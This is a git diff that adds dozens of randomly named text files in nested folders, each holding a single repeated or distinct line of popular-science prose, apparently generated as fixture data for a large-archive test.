+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_khhctdjb.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_ndtahymwuokkby.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ndtahymwuokkby.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ndtahymwuokkby.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_nzovohxyjscdnuirdygol.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_nzovohxyjscdnuirdygol.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_nzovohxyjscdnuirdygol.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_obuoqcmqy.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_obuoqcmqy.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_obuoqcmqy.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_pbtcxaoaptapcdabh.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_pbtcxaoaptapcdabh.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_pbtcxaoaptapcdabh.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_ulezwizgliqddrdk.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ulezwizgliqddrdk.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ulezwizgliqddrdk.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_wlvfqhgncdgbwmwilgiuc.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_wlvfqhgncdgbwmwilgiuc.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_wlvfqhgncdgbwmwilgiuc.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_xmyvtcqhzn.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_xmyvtcqhzn.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_xmyvtcqhzn.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_yhikspjdbhujlrkcr.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_yhikspjdbhujlrkcr.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_yhikspjdbhujlrkcr.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_aeipofurq.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_aeipofurq.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_aeipofurq.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_alxvfascidjrqxwiurpkzvf.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_alxvfascidjrqxwiurpkzvf.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_alxvfascidjrqxwiurpkzvf.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_fqdypiifcgzgnbm.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_fqdypiifcgzgnbm.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_fqdypiifcgzgnbm.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_gnfwpdorbfjtjctrjcvtqwq.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_gnfwpdorbfjtjctrjcvtqwq.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_gnfwpdorbfjtjctrjcvtqwq.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_guzbmsnsfxcradaf.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_guzbmsnsfxcradaf.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_guzbmsnsfxcradaf.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_jmmmmcxnnj.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_jmmmmcxnnj.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_jmmmmcxnnj.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_jsjvtcpdvlog.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_jsjvtcpdvlog.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_jsjvtcpdvlog.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_ljtriwlepfpl.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_ljtriwlepfpl.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_ljtriwlepfpl.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_oflfwqexnhvypwfqa.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_oflfwqexnhvypwfqa.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_oflfwqexnhvypwfqa.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_ppzhptolvqfspnzyj.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_ppzhptolvqfspnzyj.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_ppzhptolvqfspnzyj.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_rewsilawfcluvxpkdmh.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_rewsilawfcluvxpkdmh.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_rewsilawfcluvxpkdmh.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_xrilprpzwbrsvfsmu.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_xrilprpzwbrsvfsmu.txt
new file mode 100644
index 0000000..5aecdfe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/file_xrilprpzwbrsvfsmu.txt
@@ -0,0 +1 @@
+must not at any cost be permitted to think seriously about. In the Soviet Union these include
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/enheltougqtgzpxuth.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/enheltougqtgzpxuth.txt
new file mode 100644
index 0000000..662dab2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/enheltougqtgzpxuth.txt
@@ -0,0 +1 @@
+the citizens to monitor. If we do not know what they do, it is very hard for us to stop them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/fcbsgysxp.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/fcbsgysxp.txt
new file mode 100644
index 0000000..0711e7b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/fcbsgysxp.txt
@@ -0,0 +1 @@
+the molecular level. As time went on, they got better at reproducing. Molecules with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_cavwqlroxleypvbwvjit.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_cavwqlroxleypvbwvjit.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_cavwqlroxleypvbwvjit.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_ccqregvjinyaqwusw.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_ccqregvjinyaqwusw.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_ccqregvjinyaqwusw.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_cvnjcgudpc.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_cvnjcgudpc.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_cvnjcgudpc.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_fdyukmjuqllaehsps.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_fdyukmjuqllaehsps.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_fdyukmjuqllaehsps.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_grzjxqxaenkouursyf.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_grzjxqxaenkouursyf.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_grzjxqxaenkouursyf.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_imjdjnivdnn.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_imjdjnivdnn.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_imjdjnivdnn.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_kcrykezvjbnssahl.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_kcrykezvjbnssahl.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_kcrykezvjbnssahl.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_kfqzyiluxtwwtphdmi.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_kfqzyiluxtwwtphdmi.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_kfqzyiluxtwwtphdmi.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_lgzxsverzkwfgvjcryhndjps.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_lgzxsverzkwfgvjcryhndjps.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_lgzxsverzkwfgvjcryhndjps.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_mqoxpjrfiracfahpud.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_mqoxpjrfiracfahpud.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_mqoxpjrfiracfahpud.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_pjiyxfltdhyvthmzvct.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_pjiyxfltdhyvthmzvct.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_pjiyxfltdhyvthmzvct.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_qfwidketxf.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_qfwidketxf.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_qfwidketxf.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_rjooctfxmmhrqgmra.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_rjooctfxmmhrqgmra.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_rjooctfxmmhrqgmra.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_tvxvuitpyuschxeyzzm.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_tvxvuitpyuschxeyzzm.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_tvxvuitpyuschxeyzzm.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uekorktsrxjxvcflbkd.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uekorktsrxjxvcflbkd.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uekorktsrxjxvcflbkd.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uktyvnlzstlwoonvrmvkmr.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uktyvnlzstlwoonvrmvkmr.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uktyvnlzstlwoonvrmvkmr.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_upemdcmppxdvj.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_upemdcmppxdvj.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_upemdcmppxdvj.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uzxcqfxdvajwftf.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uzxcqfxdvajwftf.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_uzxcqfxdvajwftf.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_vwpylsoralthsmzcjjcfaw.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_vwpylsoralthsmzcjjcfaw.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_vwpylsoralthsmzcjjcfaw.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_wlrtvcafcpv.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_wlrtvcafcpv.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_wlrtvcafcpv.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_wwytckgliipolrdgnj.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_wwytckgliipolrdgnj.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_wwytckgliipolrdgnj.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_xwffqhkbseuy.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_xwffqhkbseuy.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_xwffqhkbseuy.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_yepbrxmoyzdwqkyqnvasjhvu.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_yepbrxmoyzdwqkyqnvasjhvu.txt
new file mode 100644
index 0000000..b0746a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/file_yepbrxmoyzdwqkyqnvasjhvu.txt
@@ -0,0 +1 @@
+atmosphere of Venus and on Jupiter. There are sandstorms on the Earth and on Mars;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/gboscoztqfdgoyuugo.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/gboscoztqfdgoyuugo.txt
new file mode 100644
index 0000000..9a6a1d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/gboscoztqfdgoyuugo.txt
@@ -0,0 +1 @@
+Of course, people left behind on Earth would see things differently. Instead of twenty-one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/htqoeydtyz.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/htqoeydtyz.txt
new file mode 100644
index 0000000..4ce5516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/htqoeydtyz.txt
@@ -0,0 +1 @@
+century that have disappeared without a trace as soon as close-up spacecraft investigations
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/iltcbkbovkyk.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/iltcbkbovkyk.txt
new file mode 100644
index 0000000..a8db330
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/iltcbkbovkyk.txt
@@ -0,0 +1 @@
+communication with terrestrial intelligence, with other human beings of different cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/izocmcpkqkplvzsigmynwnj.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/izocmcpkqkplvzsigmynwnj.txt
new file mode 100644
index 0000000..85378cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/izocmcpkqkplvzsigmynwnj.txt
@@ -0,0 +1 @@
+Newton. Newton was born on Christmas Day, 1642, so tiny that, as his mother told him
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/kxhtlhplsfkzsuerbtsgzp.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/kxhtlhplsfkzsuerbtsgzp.txt
new file mode 100644
index 0000000..78ee238
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/kxhtlhplsfkzsuerbtsgzp.txt
@@ -0,0 +1 @@
+And with the rewards so substantial, with the hostile military establishments beholden to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/oggiivaxxgjgyhuszholl.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/oggiivaxxgjgyhuszholl.txt
new file mode 100644
index 0000000..c4f8e28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/oggiivaxxgjgyhuszholl.txt
@@ -0,0 +1 @@
+In related exercise. Democritus imagined calculating the volume of a cone or a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/tcyewgbthrgdhsxfj.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/tcyewgbthrgdhsxfj.txt
new file mode 100644
index 0000000..6fb84d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/tcyewgbthrgdhsxfj.txt
@@ -0,0 +1 @@
+mysterious and ghostly kind: The Sun glows faintly in neutrinos, which, like photons,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/vukjaphysl.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/vukjaphysl.txt
new file mode 100644
index 0000000..e65cb28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/folder_egzychkvka/folder_nmhkzqmpzm/vukjaphysl.txt
@@ -0,0 +1 @@
+up as the way in which they are put together. Every now and then we read that the
\ No newline at end of file
